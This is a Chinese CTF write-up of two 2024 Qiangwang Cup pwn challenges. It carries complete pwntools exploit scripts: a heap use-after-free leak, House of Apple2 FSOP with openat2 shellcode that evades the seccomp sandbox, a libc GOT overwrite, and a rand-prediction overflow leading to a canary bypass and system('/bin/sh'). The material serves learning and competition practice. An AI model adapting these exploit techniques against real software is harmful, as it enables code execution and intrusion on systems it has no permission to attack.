2024强网杯S8线上初赛

babyheap

参考自大佬:2024 强网杯S8Pwn方向部分题解 - 先知社区

这里复现一下,这个算是这次强网杯最简单的一道pwn题了,这题有两种解法。

首先分析题目,libc2.35,保护全开,常规菜单题。

add申请0x500~0x5FF大小的chunk,且最多能add6次,最多能show和edit1次。

free存在uaf漏洞。

同时提供了一个Env菜单和一个magic菜单,这俩在方法二才会用到。

方法一:

利用思路

常规IO利用,2.35存在svcudp_reply+26的gadget,因此直接打apple2即可。

利用过程

1、题目开启了沙箱,查看沙箱如下

pAqM0S0.png

可以看到禁用了open和openat。这里也是刚刚学到的,这俩被禁用了还可以使用openat2替代。

shellcode如下:

1
2
shellcode = asm(shellcraft.openat2(-100,flag_addr,flag_addr+0x1000,0x18)+shellcraft.read(3,heap_base+0x10000,0x50)+shellcraft.write(1,heap_base+0x10000,0x50))
//openat2需要4个参数。
2、泄露libc地址和heap地址

由于只有一次show的机会,所以需要一次泄露出这俩个地址,因此考虑large bin泄露。

首先add几个chunk之后free掉chunk1(索引从1开始),此时chunk1进入unsorted bin中,之后add一个更大的chunk,chunk1进入largebin,利用largebin中既有libc地址也有heap地址的特性,泄露出这俩地址。

这里是write输出的指定size,所以不会被\x00截断,如果是puts或printf(“%s”)还需要先edit修改掉\x00字节。

1
2
3
4
5
6
7
8
9
10
11
12
13
add(0x520) #1
add(0x500) #2
add(0x510) #3

delete(1)
add(0x530)

show(1)
libc_base = get_addr() -0x21b110
print(p.recv(10))
heap_base = u64(p.recv(8))-0x001950
success("libc_base: " + hex(libc_base))
success("heap_base: " + hex(heap_base))
3、伪造IO

因为只有一次edit机会,所以需要把orw内容和fake_io写到一个chunk里,以fake_io+orw的形式。

这里直接套用apple2模板即可。

还有一点需要注意:

在menu之前存在一个clear函数:

pAqM6w4.png

发现libcbase+0x217000~0x217300偏移处被清0,即_IO_wfile_overflow表是空的,所以使用 _IO_wfile_jumps_maybe_mmap 表来执行 _IO_wfile_overflow 函数

pAqMcTJ.png

1
_IO_wfile_jumps_maybe_mmap = libc_base + 0x216F40
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
delete(3)          				//free小的chunk进入unsorted,此时1在largebin里。
_IO_list_all = libc_base + libc.sym['_IO_list_all']
fake_IO_addr = heap_base + 0x001950
magic_gadget = libc_base + 0x16A06A

leave_ret = libc_base + 0x4da83 #: leave ; ret
pop_rdi_ret = libc_base + 0x2a3e5 #: pop rdi ; ret
pop_rsi_ret = libc_base + 0x2be51 #: pop rsi ; ret
pop_rdx_r12_ret = libc_base + 0x11f2e7 #: pop rdx ; pop r12 ; ret
orw_addr = fake_IO_addr + 0xe0 + 0xe8 + 0x70
flag_addr = orw_addr

shellcode = asm(shellcraft.openat2(-100,flag_addr,flag_addr+0x1000,0x18)+shellcraft.read(3,heap_base+0x10000,0x50)+shellcraft.write(1,heap_base+0x10000,0x50))
orw_rop = b'flag\x00\x00\x00\x00'
orw_rop += p64(pop_rdx_r12_ret) + p64(0) + p64(fake_IO_addr - 0x10)
orw_rop += p64(pop_rdi_ret) + p64(heap_base) +p64(pop_rsi_ret)+p64(0x10000)+p64(pop_rdx_r12_ret)+p64(7)*2+ p64(libc_base + libc.sym['mprotect'])
orw_rop += p64(heap_base+0x1bf0)+shellcode

//这段orw就是先调用mprotect开辟可执行空间,之后p64(heap_base+0x1bf0)就是shellcode的地址,跳转到后边的shellcode处执行shellcode。

# payload = p64(0) + p64(leave_ret) + p64(1) + p64(2) #这样设置同时满足fsop
payload = p64(0)+p64(leave_ret)+p64(0)+p64(_IO_list_all-0x20)
payload = payload.ljust(0x38, b'\x00') + p64(orw_addr) #FAKE FILE+0x48
payload = payload.ljust(0x90, b'\x00') + p64(fake_IO_addr + 0xe0) #_wide_data=fake_IO_addr + 0xe0
payload = payload.ljust(0xc8, b'\x00') + p64(_IO_wfile_jumps_maybe_mmap) #vtable=_IO_wfile_jumps
#*(A+0Xe0)=B _wide_data->_wide_vtable=fake_IO_addr + 0xe0 + 0xe8
payload = payload.ljust(0xd0 + 0xe0, b'\x00') + p64(fake_IO_addr + 0xe0 + 0xe8)
#*(B+0X68)=C=magic_gadget
payload = payload.ljust(0xd0 + 0xe8 + 0x68, b'\x00') + p64(magic_gadget)
payload = payload + orw_rop

edit(1,payload)

add(0x550) #5
add(0x510) #6
4、触发exit

因为程序没有提供exit的菜单,但是可以通过其他菜单触发,此时再次调用show,因为次数已经用尽,所以会走到exit里。、

5、成功orw

可以看到,最后虽然报错了,但是还是读出了flag。

pAqMBlV.png

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
from pwn import *
from ctypes import *
from LibcSearcher import *

context(os='linux', arch='amd64', log_level='debug')

def s(a):
p.send(a)
def sa(a, b):
p.sendafter(a, b)
def sl(a):
p.sendline(a)
def sla(a, b):
p.sendlineafter(a, b)
def r(a):
return p.recv(a)
def ru(a):
return p.recvuntil(a)
def debug():
gdb.attach(p)
pause()
def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def get_sb(libc_base):
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

#p = remote('1.14.71.254', 28143)
p = process('./pwn')
elf = ELF('./pwn')
libc = ELF('./libc-2.35.so')

menu='Enter your choice:'
def add(size):
p.sendlineafter(menu,str(1))
p.sendlineafter("Enter your commodity size \n",str(size))

def delete(idx):
p.sendlineafter(menu,str(2))
p.sendlineafter("Enter which to delete: \n",str(idx))

def edit(idx,cont):
p.sendlineafter(menu,str(3))
p.sendlineafter("Enter which to edit: \n",str(idx))
p.sendafter("Input the content \n",cont)

def show(idx):
p.sendlineafter(menu,str(4))
p.sendlineafter("Enter which to show: \n",str(idx))

def env(choice):
p.sendlineafter(menu,str(5))
p.sendlineafter('Maybe you will be sad',str(choice))

def magic(addr,cont):
p.sendlineafter(menu,str(6))
p.sendafter("Input your target addr \n",addr)
p.send(cont)


add(0x520) #1
add(0x500) #2
add(0x510) #3

delete(1)
add(0x530) #4

show(1)
libc_base = get_addr() -0x21b110
print(p.recv(10))
heap_base = u64(p.recv(8))-0x001950
success("libc_base: " + hex(libc_base))
success("heap_base: " + hex(heap_base))

delete(3)
_IO_list_all = libc_base + libc.sym['_IO_list_all']
_IO_wfile_jumps_maybe_mmap = libc_base + 0x216F40
fake_IO_addr = heap_base + 0x001950
magic_gadget = libc_base + 0x16A06A

leave_ret = libc_base + 0x4da83 #: leave ; ret
pop_rdi_ret = libc_base + 0x2a3e5 #: pop rdi ; ret
pop_rsi_ret = libc_base + 0x2be51 #: pop rsi ; ret
pop_rdx_r12_ret = libc_base + 0x11f2e7 #: pop rdx ; pop r12 ; ret
orw_addr = fake_IO_addr + 0xe0 + 0xe8 + 0x70
flag_addr = orw_addr

shellcode = asm(shellcraft.openat2(-100,flag_addr,flag_addr+0x1000,0x18)+shellcraft.read(3,heap_base+0x10000,0x50)+shellcraft.write(1,heap_base+0x10000,0x50))
orw_rop = b'flag\x00\x00\x00\x00'
orw_rop += p64(pop_rdx_r12_ret) + p64(0) + p64(fake_IO_addr - 0x10)
orw_rop += p64(pop_rdi_ret) + p64(heap_base) +p64(pop_rsi_ret)+p64(0x10000)+p64(pop_rdx_r12_ret)+p64(7)*2+ p64(libc_base + libc.sym['mprotect'])
orw_rop += p64(heap_base+0x1bf0)+shellcode

# payload = p64(0) + p64(leave_ret) + p64(1) + p64(2) #这样设置同时满足fsop
payload = p64(0)+p64(leave_ret)+p64(0)+p64(_IO_list_all-0x20)
payload = payload.ljust(0x38, b'\x00') + p64(orw_addr) #FAKE FILE+0x48
payload = payload.ljust(0x90, b'\x00') + p64(fake_IO_addr + 0xe0) #_wide_data=fake_IO_addr + 0xe0
payload = payload.ljust(0xc8, b'\x00') + p64(_IO_wfile_jumps_maybe_mmap) #vtable=_IO_wfile_jumps
#*(A+0Xe0)=B _wide_data->_wide_vtable=fake_IO_addr + 0xe0 + 0xe8
payload = payload.ljust(0xd0 + 0xe0, b'\x00') + p64(fake_IO_addr + 0xe0 + 0xe8)
#*(B+0X68)=C=magic_gadget
payload = payload.ljust(0xd0 + 0xe8 + 0x68, b'\x00') + p64(magic_gadget)
payload = payload + orw_rop

edit(1,payload)

add(0x550) #5
add(0x510) #6

#debug()
show(1)

p.interactive()

方法二:

该方法参考自大佬:https://www.ctfiot.com/218976.html

方法二就用到另外两个函数了。

Env

pAqQ6jf.png

env函数是对环境变量的操作。

magic

pAqQr9I.png

magic函数是有限制的任意地址写0x10字节。

check

pAqQs3t.png

check函数是限制任意地址写。

利用思路

1、check分析

首先我们分析一下check函数。

第一个条件就是限制不能写_IO_2_1_stdin_之后的区域,而另外一个条件就有意思了,不能超过 80 开头的一个地址,基本不会触发,所以目标很明确,让我们去写 libc_IO_2_1_stdin_之前的 data 段,或者是写堆段,程序段写不了因为没有办法泄露地址。

所以,我们查看一下_IO_2_1_stdin_之前的段有什么可以利用的。

gdb调试一下,_IO_2_1_stdin_地址为0x7f36dac56aa0,而这段正好是libc的got表段,正好libc的got表可改,所以目标就是修改libc的got表了。

pAqQygP.png

pAqlIde.png

2、修改got

那么修改什么got呢,这就要用到env里的函数了。

放一下glibc的源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
char *
getenv (const char *name)
{
char **ep;
uint16_t name_start;

if (__environ == NULL || name[0] == '')
return NULL;

if (name[1] == '')
{
/* The name of the variable consists of only one character. Therefore
the first two characters of the environment entry are this character
and a '=' character. */
#if __BYTE_ORDER == __LITTLE_ENDIAN || !_STRING_ARCH_unaligned
name_start = ('=' << 8) | *(const unsigned char *) name;
#else
name_start = '=' | ((*(const unsigned char *) name) << 8);
#endif
for (ep = __environ; *ep != NULL; ++ep)
{
#if _STRING_ARCH_unaligned
uint16_t ep_start = *(uint16_t *) *ep;
#else
uint16_t ep_start = (((unsigned char *) *ep)[0]
| (((unsigned char *) *ep)[1] << 8));
#endif
if (name_start == ep_start)
return &(*ep)[2];
}
}
else
{
size_t len = strlen (name);
#if _STRING_ARCH_unaligned
name_start = *(const uint16_t *) name;
#else
name_start = (((const unsigned char *) name)[0]
| (((const unsigned char *) name)[1] << 8));
#endif
len -= 2;
name += 2;

for (ep = __environ; *ep != NULL; ++ep)
{
#if _STRING_ARCH_unaligned
uint16_t ep_start = *(uint16_t *) *ep;
#else
uint16_t ep_start = (((unsigned char *) *ep)[0]
| (((unsigned char *) *ep)[1] << 8));
#endif

if (name_start == ep_start && !strncmp (*ep + 2, name, len)
&& (*ep)[len + 2] == '=')
return &(*ep)[len + 3];
}
}

return NULL;
}

观察到最后一个循环中,它在遍历环境变量,并且使用 strncmp 这个函数,而这个函数恰好是在 got 表中的,如果尝试将其改为 puts,那么程序会打印出所有的环境变量信息,恰好这题远程的环境变量里就存有flag。

本地运行结果如下:

pAqloIH.png

所以思路就很明显了,修改strncmp_gotputs,再用env里的putenv触发strncmp 即可。

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
from pwn import *
from ctypes import *
from LibcSearcher import *

context(os='linux', arch='amd64', log_level='debug')

def s(a):
p.send(a)
def sa(a, b):
p.sendafter(a, b)
def sl(a):
p.sendline(a)
def sla(a, b):
p.sendlineafter(a, b)
def r(a):
return p.recv(a)
def ru(a):
return p.recvuntil(a)
def debug():
gdb.attach(p)
pause()
def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def get_sb(libc_base):
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

#p = remote('1.14.71.254', 28143)
p = process('./pwn')
elf = ELF('./pwn')
libc = ELF('./libc-2.35.so')

menu='Enter your choice:'
def add(size):
p.sendlineafter(menu,str(1))
p.sendlineafter("Enter your commodity size \n",str(size))

def delete(idx):
p.sendlineafter(menu,str(2))
p.sendlineafter("Enter which to delete: \n",str(idx))

def edit(idx,cont):
p.sendlineafter(menu,str(3))
p.sendlineafter("Enter which to edit: \n",str(idx))
p.sendafter("Input the content \n",cont)

def show(idx):
p.sendlineafter(menu,str(4))
p.sendlineafter("Enter which to show: \n",str(idx))

def env(choice):
p.sendlineafter(menu,str(5))
p.sendlineafter('Maybe you will be sad',str(choice))

def magic(addr,cont):
p.sendlineafter(menu,str(6))
p.sendafter("Input your target addr \n",addr)
p.send(cont)


add(0x520) #1
add(0x500) #2
add(0x510) #3

delete(1)
add(0x530) #4

show(1)
libc_base = get_addr() -0x21b110
print(p.recv(10))
heap_base = u64(p.recv(8))-0x001950
success("libc_base: " + hex(libc_base))
success("heap_base: " + hex(heap_base))

#debug()
magic(p64(libc_base+0x21a118),p64(libc_base+libc.sym['puts']))
env(2)

p.interactive()

expect_number

比赛时没认真看,现在复现一下,其实也不难。

首先main中调用了srand(1)。

pAL3doD.png

之后进入主要逻辑函数,如下。

pALJdoT.png

菜单1为game,菜单2为show,菜单3为submit,菜单4是magic函数,call **0x5010。

这里逐步分析一下各菜单功能。

game

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
unsigned __int64 __fastcall game(__int64 a1, __int64 a2, __int64 a3)
{
__int64 v3; // rax
__int64 v4; // rax
__int64 v5; // rax
__int64 v6; // rax
char v7; // cl
int input; // [rsp+2Ch] [rbp-14h] BYREF
int v11; // [rsp+30h] [rbp-10h]
int v12; // [rsp+34h] [rbp-Ch]
unsigned __int64 v13; // [rsp+38h] [rbp-8h]

v13 = __readfsqword(0x28u);
if ( *(int *)(a2 + 8) <= 0x120 )
{
input = 0;
v12 = rand() % 4 + 1;
v4 = std::operator<<<std::char_traits<char>>(&std::cout, ">> Which one do you choose? 2 or 1 or 0");
std::ostream::operator<<(v4, &std::endl<char,std::char_traits<char>>);
std::istream::operator>>(&std::cin, &input);
check_1(a1, input);
v11 = *(char *)(a2 + *(int *)(a2 + 8) + 12);
if ( v12 == 4 )
{
if ( !input )
{
v5 = std::operator<<<std::char_traits<char>>(&std::cout, "Divisor cannot be 0!");
std::ostream::operator<<(v5, &std::endl<char,std::char_traits<char>>);
exit(-1);
}
if ( v11 % input )
{
v6 = std::operator<<<std::char_traits<char>>(&std::cout, "It's not divisible!");
std::ostream::operator<<(v6, &std::endl<char,std::char_traits<char>>);
exit(-1);
}
v11 /= input;
}
else if ( v12 <= 4 )
{
switch ( v12 )
{
case 3:
v11 *= input;
break;
case 1:
v11 += input;
break;
case 2:
v11 -= input;
break;
}
}
check_2(a3, v11);
*(_BYTE *)(a2 + *(int *)(a2 + 8) + 12) = input + 48;
v7 = v11;
*(_BYTE *)(a2 + (int)++*(_DWORD *)(a2 + 8) + 12) = v7;
}
else
{
v3 = std::operator<<<std::char_traits<char>>(
&std::cout,
"The number of games has expired and I cannot continue playing with you");
std::ostream::operator<<(v3, &std::endl<char,std::char_traits<char>>);
}
return v13 - __readfsqword(0x28u);
}

game函数是根据rand随机生成运算符号,然后与我们输入的数进行加减乘除。

其中check_1检查只能输入0、1、2,check_2检查0x5520处内容不能大于0x101。

这里存在漏洞越界写,其中v11保存之前计算后的结果,之后再取出来进行新的运算。

其中 *(_BYTE *)(a2 + (int)++*(_DWORD *)(a2 + 8) + 12) = v7;存在溢出写,因为a2指向的是0x5400,而边界检查条件是*(int *)(a2 + 8) <= 0x120,所以可以利用他的 +12 溢出修改掉0x5520处内容。

show

1
2
3
4
5
6
7
8
9
__int64 __fastcall show(__int64 a1, __int64 a2)
{
__int64 v2; // rax
__int64 v3; // rax

v2 = std::operator<<<std::char_traits<char>>(&std::cout, "History is : ");
v3 = std::operator<<<std::char_traits<char>>(v2, a2 + 12);
return std::ostream::operator<<(v3, &std::endl<char,std::char_traits<char>>);
}

show打印0x5400的内容。

submit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
int __fastcall submit(__int64 a1)
{
__int64 v1; // rax
__int64 v3; // rax

if ( *(_BYTE *)(a1 + *(int *)(a1 + 8) + 12) == 0xA2 )
{
v1 = std::operator<<<std::char_traits<char>>(&std::cout, "Incredible, congratulations!");
std::ostream::operator<<(v1, &std::endl<char,std::char_traits<char>>);
return system("cat gift");
}
else
{
v3 = std::operator<<<std::char_traits<char>>(&std::cout, "Please continue to work hard!");
return std::ostream::operator<<(v3, &std::endl<char,std::char_traits<char>>);
}
}

没什么用。

magic

关键函数,会调用**0x5010,而在main之前作了一些初始化操作。

pAL30Fe.png

pAL38zR.png

pAL3adO.png

pALJ0FU.png

所以,0x5010指向unk_5520,而5520存的是0x4C48,并且指向sub_2AF6。所以输出4会i调用sub_2AF6,即输出Good bye!

pAL3JQ1.png

利用思路

1、溢出控制0x5520

通过game中的溢出控制0x5520指向backdoor,程序存在后门函数,该函数存在栈溢出。如下:

pAL3tL6.png

因为调用是间接指向,所以我们需要修改0x5520由原先的0x4C48变成0x4C60,即修改低字节为0x60,所以需要构造前边的随机数,使得执行到0x114轮次时,result = 0x60,就会赋值*(0x5400 + 0x114 + 12) = 0x60

所以,我们的目的就是让他执行到0x114轮次时,result = 0x60。因此,构造一下输入如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
res = 0
for i in range(0x114):
tmp = libc_rand.rand() % 4 + 1
if tmp == 1:
if res < 0x60:
if res + 2 <= 0x60:
game(2)
res += 2
else:
game(1)
res += 1
else:
game(0)
elif tmp == 2:
game(0)
else:
game(1)

print(res) //0x60

即当是加法的时候,进行+1或+2的操作,其他的操作都让他保持不变。

执行完后结果如下,可以看到成功修改低位变成了0x60:

pAL3Ysx.png

2、利用try_catch

该后门函数存在栈溢出,虽然开启了canary,但是下边存在try_catch,可以利用try_catch绕过canary检测,且后边存在system(binsh)的try_catch段,所以修改返回地址为该try地址即可(0x2516 ~ 0x251a都可以)。

pAL3UeK.png

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
from pwn import *
from ctypes import *
from LibcSearcher import *

context(os='linux', arch='amd64', log_level='debug')

def s(a):
p.send(a)
def sa(a, b):
p.sendafter(a, b)
def sl(a):
p.sendline(a)
def sla(a, b):
p.sendlineafter(a, b)
def r(a):
return p.recv(a)
def ru(a):
return p.recvuntil(a)
def debug():
gdb.attach(p)
pause()
def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def get_sb(libcbase):
return libcbase + libc.sym['system'], libcbase + next(libc.search(b'/bin/sh\x00'))

p = process('./pwn')
elf = ELF('./pwn')
libc_rand = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
libc_rand.srand(1)


def game(choice):
sla("for your choice \n",str(1))
sla("2 or 1 or 0\n",str(choice))

def show():
sla("for your choice \n",str(2))

def magic():
sla("for your choice \n",str(4))

res = 0
for i in range(0x114):
tmp = libc_rand.rand() % 4 + 1
if tmp == 1:
if res < 0x60:
if res + 2 <= 0x60:
game(2)
res += 2
else:
game(1)
res += 1
else:
game(0)
elif tmp == 2:
game(0)
else:
game(1)

print(res)

show()
ru('History is : ')
r(0x114)
elf_base = u64(r(6).ljust(8,b'\x00')) - 0x4c60
back = elf_base + 0x2516
bss = elf_base + 0x5800
success("elf_base: " + hex(elf_base))

magic()

payload = b'a' * 0x20 + p64(bss) + p64(back) //还是要注意rbp需要可写,写成bss即可
sla("Tell me your favorite number.\n",payload)
#debug()
p.interactive()